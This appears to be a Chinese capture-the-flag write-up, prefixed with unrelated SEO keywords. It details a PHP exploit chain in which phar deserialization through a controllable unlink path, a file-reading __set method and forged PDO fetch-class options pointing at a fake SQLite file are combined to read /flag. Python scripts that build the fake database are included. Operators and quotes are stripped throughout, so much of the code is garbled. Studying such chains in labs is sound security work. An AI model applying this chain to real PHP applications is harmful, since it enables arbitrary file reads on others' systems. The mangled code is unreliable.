国内网站空间,快消品网站建设,东莞网站建设曼哈顿信科,沈阳网站网页step 1 如何触发反序列化?
漏洞入口在
welcome.php
case delete: // 获取删除留言的路径#xff0c;优先使用 POST 请求中的路径#xff0c;否则使用会话中的路径 $message $_POST[message_path] ? $_POST[message_path] : $_SESSION[message_path]; $msg $userMes…step 1 如何触发反序列化?
漏洞入口在
welcome.php
case delete: // 获取删除留言的路径优先使用 POST 请求中的路径否则使用会话中的路径 $message $_POST[message_path] ? $_POST[message_path] : $_SESSION[message_path]; $msg $userMessage-deleteMessage($message); // 删除留言 if ($msg) { echo 留言已成功删除; // 输出成功删除信息 } else { echo 操作失败请重新尝试; // 输出失败信息 } break;此处message_path可控,进一步跟进
UserMessage.php
public function deleteMessage($path) { $path $path . .txt; // 添加文件扩展名 if (file_exists($path)) { $result unlink($path); if ($result false) { return false; } return true; } return false;
}$path可控,同时unlink可触发phar反序列化
step 2 如何创造一个可控文件?
public function writeMessage($message) { $result file_put_contents($this-filePath, $message); if ($result false) { return false; } return true;
}step 3 如何利用反序列化读取flag?
?php class UserMessage { private $filePath; ........// 魔术方法 __set用于设置私有属性并记录日志 public function __set($name, $value) { $this-$name $value; $logContent file_get_contents($this-filePath) . /br; file_put_contents(/var/www/html/log/ . md5($this-filePath) . .txt, $logContent); } .......
?魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。
class MyClass {private $data [];public function __set($name, $value) {$this-data[$name] $value;}
}$obj new MyClass();
$obj-name John;
echo $obj-name; // __get() 被调用输出: Johnstep 4 如何触发__set()?
题目使用PDO链接数据库
PDO_connect.php
?php class PDO_connect { private $pdo; // 用于保存 PDO 实例 public $con_options []; // 用于设置 PDO 连接的选项 public $smt; // 用于保存 PDOStatement 实例 public function __construct() { // 构造函数初始化对象时调用 } // 初始化连接选项 public function init() { $this-con_options array( dsn mysql:hostlocalhost:3306;dbnameusers;charsetutf8, // 数据源名称 host 127.0.0.1, // 数据库主机地址 port 3306, // 数据库端口 user joker, // 数据库用户名 password joker, // 数据库密码 charset utf8, // 字符集 options array( PDO::ATTR_DEFAULT_FETCH_MODE PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组 PDO::ATTR_ERRMODE PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常 ) ); } // 获取数据库连接 public function get_connection() { $this-conn null; // 初始化连接为 null try { // 创建 PDO 实例 $this-conn new PDO($this-con_options[dsn], $this-con_options[user], $this-con_options[password]); // 设置错误处理模式 if ($this-con_options[options][PDO::ATTR_ERRMODE]) { $this-conn-setAttribute(PDO::ATTR_ERRMODE, $this-con_options[options][PDO::ATTR_ERRMODE]); } // 设置默认获取模式 if (isset($this-con_options[options][PDO::ATTR_DEFAULT_FETCH_MODE])) { $this-conn-setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this-con_options[options][PDO::ATTR_DEFAULT_FETCH_MODE]); } } catch (PDOException $e) { // 捕获异常并输出错误信息 echo Connection Error: . $e-getMessage(); } return $this-conn; // 返回 PDO 连接实例 }
}
?在PHP的PDOPHP Data Objects中PDO::ATTR_DEFAULT_FETCH_MODE 是一个属性用于设置默认的获取模式fetch mode。这决定了当你从数据库中获取数据时PDO如何返回结果。 PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 是两种不同的获取模式 PDO::FETCH_CLASS此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称如果字段名与类中的属性名匹配则自动赋值。 PDO::FETCH_CLASSTYPE当与 PDO::FETCH_CLASS 结合使用时这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。
通过将 PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合可以实现根据数据库中的某个字段动态实例化不同的类。 PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名并将查询结果的其余列映射到类的属性中。 class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this-id $id;$this-username $username;$this-password $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this-id $id;$this-username $username;$this-password $password;}
}$dsn sqlite:/path/to/your/database/file.db;
$username root;
$password root;
$options [PDO::ATTR_DEFAULT_FETCH_MODE PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo new PDO($dsn, $username, $password);
$pdo-setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query SELECT class_name, id, username, password FROM users;
$statement $pdo-query($query);while ($user $statement-fetch()) {echo get_class($user) . \n; // 打印当前行映射的类名echo $user-id . \n;echo $user-username . \n;echo $user-password . \n;
}在这个例子中PDO 会根据 class_name 列的值来决定实例化 Admin 或 Member 类。其他列 (id, username, password) 将被传递给相应类的构造函数。 我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果
从这里可以得知目录路径
public function __set($name, $value) { $this-$name $value; $logContent file_get_contents($this-filePath) . /br; file_put_contents(/var/www/html/log/ . md5($this-filePath) . .txt, $logContent);
}可以写出
class PDO_connect{ private $pdo; public $con_options []; public $smt; public function __construct(){ $this-con_options [ dsnsqlite:/var/www/html/xxx.txt, usernameroot, passwordroot, options[ PDO::ATTR_DEFAULT_FETCH_MODE PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}step 5 如何触发PDO_connect?
利用User.__destruct
User.php
public function __destruct() { if ($this-username) { $results $this-log(); $log_mess serialize($results); // 记录日志到文件 file_put_contents(log/ . md5($this-username) . .txt, $log_mess . \n, FILE_APPEND); }
}-log即可触发查询,当查询键为UserMessage会返回伪造的值
public function log() { try { $sql SELECT * FROM users WHERE username :username; $pdo $this-conn-get_connection(); $stmt $pdo-prepare($sql); $stmt-bindParam(:username, $this-username); $stmt-execute(); $result $stmt-fetch(); return $result; } catch (PDOException $e) { echo $e-getMessage(); }
}所以写出
class PDO_connect{ private $pdo; public $con_options [];public $smt; public function __construct(){ $this-con_options [ dsnsqlite:./fake_db.sqlite, usernameroot, passwordroot, options[ PDO::ATTR_DEFAULT_FETCH_MODE PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
class User{ private $conn; private $table users; public $id; public $username; public $password; public function __construct(){ $this-conn new PDO_connect(); $this-username UserMessage; }
}尝试
import sqlite3 conn sqlite3.connect(fake_db.sqlite)
cursor conn.cursor()
cursor.execute(
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
)
users [ (UserMessage, filePath_value, set_value),
]
cursor.executemany( INSERT INTO users (username, filePath, set_name) VALUES (?,?,?) , users) conn.commit() cursor.execute(SELECT * FROM users) conn.close()import sqlite3 conn sqlite3.connect(fake.db)
cursor conn.cursor()
cursor.execute(
CREATE TABLE IF NOT EXISTS users ( username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
)
users [ (UserMessage, /flag, /flag),
]
cursor.executemany(
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
, users) conn.commit() cursor.execute(SELECT * FROM users) conn.close()即可控制变量值触发/flag读取